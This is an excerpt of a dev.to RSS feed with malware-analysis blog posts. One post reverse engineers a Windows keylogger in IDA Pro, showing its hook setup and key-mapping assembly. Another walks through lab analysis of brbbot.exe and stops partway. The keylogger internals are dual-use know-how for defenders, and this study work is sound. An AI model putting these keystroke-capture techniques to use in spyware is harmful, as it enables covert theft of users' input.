&lt;td&gt;Missing the correct stream in oledump.py&lt;/td&gt;
&lt;td&gt;Not checking all streams&lt;/td&gt;
&lt;td&gt;Use &lt;code&gt;oledump.py&lt;/code&gt; without flags first to see the full listing and identify 'M' markers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Forgetting &lt;code&gt;-H&lt;/code&gt; flag with rtfdump.py&lt;/td&gt;
&lt;td&gt;Confusion between hex view and binary extraction&lt;/td&gt;
&lt;td&gt;Remember: &lt;code&gt;-H&lt;/code&gt; converts hex characters to bytes; without it you get text output&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Incorrect shellcode offset in scdbg&lt;/td&gt;
&lt;td&gt;Assuming shellcode starts at offset 0&lt;/td&gt;
&lt;td&gt;Use XORSearch or manual hex analysis to find NOP sleds or GetEIP patterns&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Not enabling &lt;code&gt;fopen&lt;/code&gt; in scdbg for context-dependent shellcode&lt;/td&gt;
&lt;td&gt;Shellcode reads from the original file&lt;/td&gt;
&lt;td&gt;If the shellcode accesses the parent document, use &lt;code&gt;addhandle&lt;/code&gt; or &lt;code&gt;fopen&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Skipping the &lt;code&gt;-d&lt;/code&gt; flag in base64dump.py&lt;/td&gt;
&lt;td&gt;Misunderstanding output format&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;-d&lt;/code&gt; outputs raw binary; without it you might get hex or ASCII representations&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Malware analysis is as much about methodology as it is about tools. Each sample in this exercise required a slightly different approach, but the underlying process remained consistent: &lt;strong&gt;observe, hypothesize, extract, verify&lt;/strong&gt;. Whether you're looking at a compromised website's traffic, an obfuscated JavaScript file, a suspicious PDF, or a macro-laden Office document, the goal is always to answer the same questions: What does this do? How does it do it? And what would it have done if it had succeeded?&lt;/p&gt;

&lt;p&gt;The breadth of techniques covered here — from browser debugging and JavaScript emulation to PDF stream extraction, shellcode carving, and p-code disassembly — reflects the reality of modern threat analysis. Attackers use the full range of file formats and delivery mechanisms available to them. As analysts, we need to be equally versatile.&lt;/p&gt;

&lt;p&gt;If you're building your malware analysis skills, I'd encourage you to set up a similar lab environment (REMnux + Windows VM), grab some samples, and work through them systematically. The hands-on experience of peeling back obfuscation layers and watching a hidden payload reveal itself never gets old.&lt;/p&gt;

&lt;p&gt;Stay curious, stay skeptical, and always verify.&lt;/p&gt;

</description>
      <category>malwareanalysis</category>
    </item>
    <item>
      <title>Reverse Engineering a Windows Keylogger with IDA Pro: Assembly-Level Deep Dive</title>
      <dc:creator>Khalif AL Mahmud</dc:creator>
      <pubDate>Fri, 26 Jun 2026 12:34:38 +0000</pubDate>
      <link>https://dev.to/almahmudkhalif/reverse-engineering-a-windows-keylogger-with-ida-pro-assembly-level-deep-dive-2lc5</link>
      <guid>https://dev.to/almahmudkhalif/reverse-engineering-a-windows-keylogger-with-ida-pro-assembly-level-deep-dive-2lc5</guid>
      <description>&lt;p&gt;When I first loaded &lt;code&gt;msdsrv.exe&lt;/code&gt; into IDA Pro, I had no idea what I was dealing with. No strings, no obvious behavior — just raw assembly. What followed was one of the most satisfying reverse engineering sessions I've had: peeling back the layers of a real-world keylogger, instruction by instruction.&lt;/p&gt;

&lt;p&gt;This post walks through exactly how I reverse engineered this sample using IDA Pro's free edition. We'll cover imports analysis, Windows hooking, compound conditionals in assembly, and jump table mechanics — all the good stuff.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Keyloggers Are Interesting to Reverse Engineer
&lt;/h2&gt;

&lt;p&gt;Keyloggers are deceptively simple malware. Their whole job is to capture what you type and write it somewhere — a file, a remote server, a registry key. But at the assembly level, they use some fascinating Windows internals: low-level keyboard hooks, virtual key code mappings, and modifier key detection.&lt;/p&gt;

&lt;p&gt;Understanding how they work at this level teaches you patterns you'll see across a huge range of malware families.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Sample: msdsrv.exe
&lt;/h2&gt;

&lt;p&gt;The file is a 32-bit Windows PE executable. Before doing anything dynamic, I loaded it straight into IDA Pro for static analysis. No sandboxes, no execution — just the disassembler and MSDN documentation.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1: Checking the Imports Tab
&lt;/h2&gt;

&lt;p&gt;The Imports tab in IDA is often the fastest way to build a theory about what malware does before you read a single instruction.&lt;/p&gt;

&lt;p&gt;For &lt;code&gt;msdsrv.exe&lt;/code&gt;, these stood out immediately:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetKeyState&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Check if a specific key is currently pressed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetAsyncKeyState&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Check key state asynchronously (across threads)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SetWindowsHookExA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Install a system-wide hook procedure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;OpenClipboard&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Access clipboard contents&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetClipboardData&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Read from clipboard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CallNextHookEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pass the hook message to the next handler in chain&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Just from the imports, the picture is clear: this binary installs a keyboard hook and reads keystrokes. Classic keylogger architecture.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2: Locating SetWindowsHookEx References
&lt;/h2&gt;

&lt;p&gt;I double-clicked &lt;code&gt;SetWindowsHookExA&lt;/code&gt; in the Imports tab, then pressed &lt;code&gt;x&lt;/code&gt; to view all cross-references. Three calls showed up:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00403FD1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0040440F&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0040F5B7&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The key parameter here is &lt;code&gt;idHook&lt;/code&gt; — it tells you &lt;em&gt;what kind&lt;/em&gt; of events the hook captures. Cross-referencing with &lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa" rel="noopener noreferrer"&gt;MSDN's SetWindowsHookEx docs&lt;/a&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Address&lt;/th&gt;
&lt;th&gt;idHook value&lt;/th&gt;
&lt;th&gt;Constant&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x00403FD1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x0D&lt;/code&gt; (13)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;WH_KEYBOARD_LL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Low-level keyboard hook&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x0040440F&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x0D&lt;/code&gt; (13)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;WH_KEYBOARD_LL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Low-level keyboard hook&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x0040F5B7&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x05&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;WH_CBT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Window/UI change hook&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two of the three calls install a &lt;strong&gt;low-level keyboard hook&lt;/strong&gt;. That's the primary keystroke capture mechanism. The &lt;code&gt;WH_CBT&lt;/code&gt; hook monitors window activity — likely used to track which application is active when keystrokes are captured.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3: Navigating to the Hook Procedure
&lt;/h2&gt;

&lt;p&gt;The hook procedure is the callback function that runs every time a keyboard event fires. I jumped to it directly using IDA's &lt;code&gt;g&lt;/code&gt; hotkey:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;g → 4024D0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pressing &lt;strong&gt;Spacebar&lt;/strong&gt; switches from Text view to Graph view. Zooming out on this function reveals something impressive: dozens of decision blocks branching in every direction. This is not a simple function — it handles an enormous number of cases.&lt;/p&gt;

&lt;p&gt;I used &lt;strong&gt;View → Open Subviews → Function Calls&lt;/strong&gt; to get a high-level summary of everything called from inside this function. The list was dominated by repeated calls to &lt;code&gt;GetKeyState&lt;/code&gt; and &lt;code&gt;GetAsyncKeyState&lt;/code&gt; — the actual keystroke readers.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 4: The Compound Expression — Filtering for Numeric Keys
&lt;/h2&gt;

&lt;p&gt;I jumped to &lt;code&gt;0x40259F&lt;/code&gt; — the address of a &lt;code&gt;GetAsyncKeyState&lt;/code&gt; call — and looked at what comes &lt;em&gt;before&lt;/em&gt; it (addresses &lt;code&gt;0x40258B–0x402597&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Here's the assembly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;; At 0x402585
MOV EAX, [lParam]         ; lParam is a pointer to KBDLLHOOKSTRUCT
MOV EAX, [EAX]            ; dereference → vkCode (virtual key code) now in EAX

; At 0x40258E
JB  0x40273B              ; jump if EAX &amp;lt; 0x30 (below '0' key)

; At 0x402597
JA  0x40273B              ; jump if EAX &amp;gt; 0x39 (above '9' key)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;lParam&lt;/code&gt; parameter of a keyboard hook points to a &lt;code&gt;KBDLLHOOKSTRUCT&lt;/code&gt;. The first member (&lt;code&gt;vkCode&lt;/code&gt;) is the virtual key code of the key that was pressed.&lt;/p&gt;

&lt;p&gt;The compound expression does this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If the key code is &lt;strong&gt;below &lt;code&gt;0x30&lt;/code&gt;&lt;/strong&gt; → bail out (not a digit key)&lt;/li&gt;
&lt;li&gt;If the key code is &lt;strong&gt;above &lt;code&gt;0x39&lt;/code&gt;&lt;/strong&gt; → bail out (not a digit key)&lt;/li&gt;
&lt;li&gt;Otherwise, continue to &lt;code&gt;0x40259D&lt;/code&gt; — the key pressed is &lt;strong&gt;0 through 9&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is a range check using two separate conditional jumps — a classic assembly pattern for &lt;code&gt;if (key &amp;gt;= '0' &amp;amp;&amp;amp; key &amp;lt;= '9')&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 5: Checking the Shift Key with GetAsyncKeyState
&lt;/h2&gt;

&lt;p&gt;Once we know a numeric key was pressed, the code checks whether &lt;strong&gt;Shift&lt;/strong&gt; is held down. At &lt;code&gt;0x40259F&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PUSH 10h                  ; VK_SHIFT = 0x10
CALL GetAsyncKeyState     ; was Shift pressed?
TEST AX, AX               ; test the lower 16 bits of return value
JZ   0x40270D             ; jump if Shift is NOT pressed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From MSDN: &lt;code&gt;GetAsyncKeyState&lt;/code&gt; returns a value where the &lt;strong&gt;least significant bit is set&lt;/strong&gt; if the key was pressed since the last call. The &lt;code&gt;TEST AX, AX&lt;/code&gt; checks this.&lt;/p&gt;

&lt;p&gt;So: if &lt;code&gt;AX&lt;/code&gt; is zero (Shift not pressed), we jump to &lt;code&gt;0x40270D&lt;/code&gt; and skip the special character handling. If Shift is pressed, we continue.&lt;/p&gt;

&lt;p&gt;This makes perfect sense — pressing &lt;strong&gt;Shift + 1&lt;/strong&gt; on a US keyboard produces &lt;code&gt;!&lt;/code&gt;. The keylogger needs to know whether Shift was held to log the &lt;em&gt;actual&lt;/em&gt; character the user typed, not just the key code.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 6: The Jump Table — Mapping Digits to Special Characters
&lt;/h2&gt;

&lt;p&gt;Now it gets interesting. At &lt;code&gt;0x4025BC&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;JMP ds:off_403380[EAX*4]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a &lt;strong&gt;jump table&lt;/strong&gt; — a common compiler optimization for switch statements. Instead of a chain of &lt;code&gt;if/else&lt;/code&gt; comparisons, the code multiplies &lt;code&gt;EAX&lt;/code&gt; by 4 (each address is 4 bytes) and jumps to the corresponding entry in the table at &lt;code&gt;0x403380&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Before the jump, there's a normalization step:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;; At 0x4025B0
ADD EAX, 0FFFFFFD0h       ; This is -0x30 in two's complement
                           ; If EAX = 0x39 ('9'), result = 9
                           ; If EAX = 0x30 ('0'), result = 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then a bounds check:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CMP EAX, 9
JA  0x403339              ; if above 9, don't access table (safety check)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the jump table has &lt;strong&gt;10 entries&lt;/strong&gt; (0 through 9), mapping each digit's key code to a branch that handles the Shift+digit combination.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 7: What Happens at the Jump Target (EAX = 1)
&lt;/h2&gt;

&lt;p&gt;If EAX is 1 (the &lt;code&gt;1&lt;/code&gt; key with Shift held), execution jumps to &lt;code&gt;0x4025E4&lt;/code&gt;. Here's what I found:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;; At 0x4025E4
CMP byte_4375D0, 0        ; check a flag byte

; At 0x4025EB
MOV EAX, offset aExclamation   ; pointer to "!" string

; At 0x4025F0
JNZ 0x4025F7              ; jump if flag is NOT zero (ALT not pressed)
MOV EAX, 1                ; else: ALT is pressed, use raw value instead
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The flag at &lt;code&gt;0x4375D0&lt;/code&gt; is set earlier in the function. Tracing back:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;; At 0x402567
CMP EDI, 100h             ; is wParam == WM_KEYDOWN (ALT not pressed)?
SETZ DL                   ; DL = 1 if yes, 0 if no (ALT pressed)
MOV byte_4375D0, DL       ; store the result
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;WM_KEYDOWN&lt;/code&gt; (0x100) means a regular key down event — no ALT modifier. &lt;code&gt;WM_SYSKEYDOWN&lt;/code&gt; (0x104) means ALT is held. The keylogger explicitly tracks this because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Shift + 1 without ALT&lt;/strong&gt; → log &lt;code&gt;!&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shift + 1 with ALT&lt;/strong&gt; → log the raw value &lt;code&gt;1&lt;/code&gt; instead (ALT+number combos have different meanings in many applications)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once the character is resolved, it gets pushed as an argument to &lt;code&gt;sub_402070&lt;/code&gt;, which — after following a few more call chains — writes the keystroke to disk.&lt;/p&gt;

&lt;p&gt;Finally, at &lt;code&gt;0x402600&lt;/code&gt;, a jump to &lt;code&gt;0x403339&lt;/code&gt; leads to &lt;code&gt;CallNextHookEx&lt;/code&gt;, which properly passes the event down the hook chain. Skipping this call would break keyboard input for the user — so even malicious hooks follow the rules here.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Verify This Analysis
&lt;/h2&gt;

&lt;p&gt;If you want to walk through this yourself:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Load &lt;code&gt;msdsrv.exe&lt;/code&gt; into IDA Free&lt;/li&gt;
&lt;li&gt;Open the &lt;strong&gt;Imports&lt;/strong&gt; tab and search for &lt;code&gt;SetWindowsHookExA&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Press &lt;code&gt;x&lt;/code&gt; on the API name to view cross-references&lt;/li&gt;
&lt;li&gt;Check the &lt;code&gt;idHook&lt;/code&gt; argument pushed before each &lt;code&gt;CALL&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Press &lt;code&gt;g&lt;/code&gt; and jump to &lt;code&gt;0x4024D0&lt;/code&gt; to reach the hook procedure&lt;/li&gt;
&lt;li&gt;Use &lt;strong&gt;View → Open Subviews → Function Calls&lt;/strong&gt; to see the full call graph&lt;/li&gt;
&lt;li&gt;Press &lt;code&gt;g&lt;/code&gt; again and go to &lt;code&gt;0x40259F&lt;/code&gt; to examine the &lt;code&gt;GetAsyncKeyState&lt;/code&gt; call
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hotkeys used in this session:
- Spacebar → Toggle Graph/Text view
- x        → View cross-references
- g        → Jump to address
- ;        → Add comment to instruction
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;Reversing this keylogger taught me several things that textbooks don't fully convey:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Windows hooks are legitimate APIs.&lt;/strong&gt; &lt;code&gt;SetWindowsHookEx&lt;/code&gt; is in every Windows SDK. The same API that powers accessibility tools powers keyloggers. Context is everything.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Assembly compound expressions have patterns.&lt;/strong&gt; Back-to-back &lt;code&gt;JB&lt;/code&gt; and &lt;code&gt;JA&lt;/code&gt; checking the same register? That's a range check. Once you see it a few times, you start recognizing it instantly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Jump tables are elegant but tricky.&lt;/strong&gt; The &lt;code&gt;JMP ds:table[EAX*4]&lt;/code&gt; pattern is generated by compilers for dense switch statements. Spotting the normalization (&lt;code&gt;ADD EAX, -0x30&lt;/code&gt;) before the table access was the key to understanding the structure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Following return values matters.&lt;/strong&gt; EAX carries return values in 32-bit x86. Every time I saw &lt;code&gt;TEST EAX, EAX&lt;/code&gt; or &lt;code&gt;CMP EAX, something&lt;/code&gt; right after a &lt;code&gt;CALL&lt;/code&gt;, that was the program checking whether the last function succeeded. Building this reflex makes code reading much faster.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ALT modifier handling reveals attacker intent.&lt;/strong&gt; The fact that this keylogger specifically distinguishes &lt;code&gt;WM_KEYDOWN&lt;/code&gt; from &lt;code&gt;WM_SYSKEYDOWN&lt;/code&gt; shows the author wanted accurate character logging, not just key codes. That's a sign of deliberate, targeted development.&lt;/p&gt;




&lt;h2&gt;
  
  
  Common Mistakes Table
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mistake&lt;/th&gt;
&lt;th&gt;What Actually Happens&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Confusing &lt;code&gt;JZ&lt;/code&gt; and &lt;code&gt;JNZ&lt;/code&gt; after &lt;code&gt;TEST EAX, EAX&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;You get the branch condition backwards — this is the #1 source of errors when reading conditionals&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reading ADD with a large hex operand as addition&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0FFFFFFD0h&lt;/code&gt; is negative in two's complement — it's actually &lt;code&gt;-0x30&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Skipping the normalization step before a jump table&lt;/td&gt;
&lt;td&gt;You'll misread the table index and end up at the wrong target address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ignoring &lt;code&gt;wParam&lt;/code&gt; in hook callbacks&lt;/td&gt;
&lt;td&gt;It tells you the message type (WM_KEYDOWN vs WM_SYSKEYDOWN) — missing this means you miss the ALT detection logic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Not cross-referencing &lt;code&gt;lParam&lt;/code&gt; with MSDN&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;lParam&lt;/code&gt; in keyboard hooks points to a &lt;code&gt;KBDLLHOOKSTRUCT&lt;/code&gt; — without that knowledge, dereferencing it makes no sense&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Treating all &lt;code&gt;SetWindowsHookEx&lt;/code&gt; calls the same&lt;/td&gt;
&lt;td&gt;The &lt;code&gt;idHook&lt;/code&gt; value completely changes the behavior — always check what type of hook is being installed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;What started as a black-box executable became a fully understood keystroke capture mechanism — just through IDA's disassembler and MSDN documentation. No dynamic execution, no sandbox, no behavioral analysis.&lt;/p&gt;

&lt;p&gt;The most valuable thing about this kind of static analysis is that it works even when malware is designed to evade sandboxes. The code still has to run somewhere. And when it does, it follows rules — calling conventions, API contracts, register semantics. Those rules are exactly what make reverse engineering possible.&lt;/p&gt;

</description>
      <category>reverseengineering</category>
      <category>malware</category>
      <category>assembly</category>
      <category>security</category>
    </item>
    <item>
      <title>Reverse Engineering a Live Specimen: A Practical Walkthrough of brbbot.exe (Static, Behavioral, Network, and C2 Analysis)</title>
      <dc:creator>Khalif AL Mahmud</dc:creator>
      <pubDate>Fri, 26 Jun 2026 12:06:59 +0000</pubDate>
      <link>https://dev.to/almahmudkhalif/reverse-engineering-a-live-specimen-a-practical-walkthrough-of-brbbotexe-static-behavioral-3492</link>
      <guid>https://dev.to/almahmudkhalif/reverse-engineering-a-live-specimen-a-practical-walkthrough-of-brbbotexe-static-behavioral-3492</guid>
      <description>&lt;p&gt;After working through the conceptual side of malware analysis — classification, the four analysis types, lab isolation principles — I wanted to map out what an actual end-to-end analysis of a real specimen looks like in practice, tool by tool.&lt;/p&gt;

&lt;p&gt;This post walks through the full investigative chain for a sample called &lt;code&gt;brbbot.exe&lt;/code&gt;: starting from static properties, moving into live behavioral observation, intercepting its network traffic, decrypting its configuration file with a debugger, and finally interacting with its command-and-control (C2) logic directly. It's structured as a practical methodology guide — the kind of thing I wish I'd had as a map before diving into the tools individually.&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem Statement
&lt;/h2&gt;

&lt;p&gt;Most malware analysis guides cover one tool in isolation — "here's how Wireshark works," "here's how x64dbg works" — without showing how those tools chain together into a single investigation. A real analysis isn't "use tool X," it's "use static analysis to form a hypothesis, use behavioral analysis to test it, use network interception to see what the hypothesis predicted, and use a debugger when you need ground truth on exactly what the code is doing."&lt;/p&gt;

&lt;p&gt;This walkthrough is my attempt to lay out that chain clearly, end to end, against one consistent specimen.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab Setup (Prerequisite)
&lt;/h2&gt;

&lt;p&gt;Before any of this is possible, you need two isolated VMs talking to each other on a host-only network:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;REMnux VM        → static IP, e.g. 192.168.56.10
Windows VM       → static IP, e.g. 192.168.56.20
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both VMs need a &lt;strong&gt;clean snapshot&lt;/strong&gt; taken immediately after setup — this is the rollback point you return to before and after every infection.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On REMnux, confirm connectivity from Windows side first&lt;/span&gt;
ping 192.168.56.10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step-by-Step Walkthrough
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Phase 1: Static Properties Analysis
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Form an initial hypothesis about the specimen without ever executing it.&lt;/p&gt;

&lt;p&gt;On REMnux, extract embedded strings:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pestr &lt;span class="nt"&gt;-n&lt;/span&gt; 5 &lt;span class="nt"&gt;-o&lt;/span&gt; brbbot.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the Windows VM, cross-check using &lt;strong&gt;BinText&lt;/strong&gt; (string extraction) and &lt;strong&gt;PeStudio&lt;/strong&gt; (header/import/export inspection). The combination of both tools matters — PeStudio surfaces anomalous header characteristics (suspicious imports, packer signatures, unusual section names) that raw strings won't flag on their own.&lt;/p&gt;

&lt;p&gt;On REMnux, run &lt;strong&gt;peframe&lt;/strong&gt; as a second opinion:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;peframe brbbot.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What you're looking for at this stage:&lt;/strong&gt; registry paths, hardcoded URLs or domains, suspicious API names in the import table (&lt;code&gt;CryptDecrypt&lt;/code&gt;, &lt;code&gt;RegSetValueEx&lt;/code&gt;, &lt;code&gt;InternetOpen&lt;/code&gt;), and anything that hints at persistence or network behavior before you've run a single instruction.&lt;/p&gt;

&lt;h3&gt;
  
  
  Phase 2: Initial Behavioral Analysis
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Observe what the specimen actually does on a live system, in real time.&lt;/p&gt;

&lt;p&gt;Set up four monitoring tools &lt;em&gt;before&lt;/em&gt; triggering the infection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Process Hacker     → running process tree, before/after comparison
Process Monitor    → file system / registry / process activity log
Regshot             → registry diff (before/after snapshots)
Wireshark           → network capture (on REMnux, monitoring the link)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On REMnux:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wireshark &amp;amp;
&lt;span class="c"&gt;# Activate capture (Ctrl+E) once the window opens&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the Windows VM: pause Process Monitor (&lt;code&gt;Ctrl+E&lt;/code&gt;), clear its log (&lt;code&gt;Ctrl+X&lt;/code&gt;), take the first Regshot snapshot, &lt;em&gt;then&lt;/em&gt; activate Process Monitor capture and double-click the &lt;code&gt;brbbot.exe&lt;/code&gt; shortcut to infect the system.&lt;/p&gt;

&lt;p&gt;Let it run briefly, then terminate it via Process Hacker, stop all captures, and take the second Regshot snapshot to generate a diff report.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Regshot diff → reveals new files, new/modified registry keys
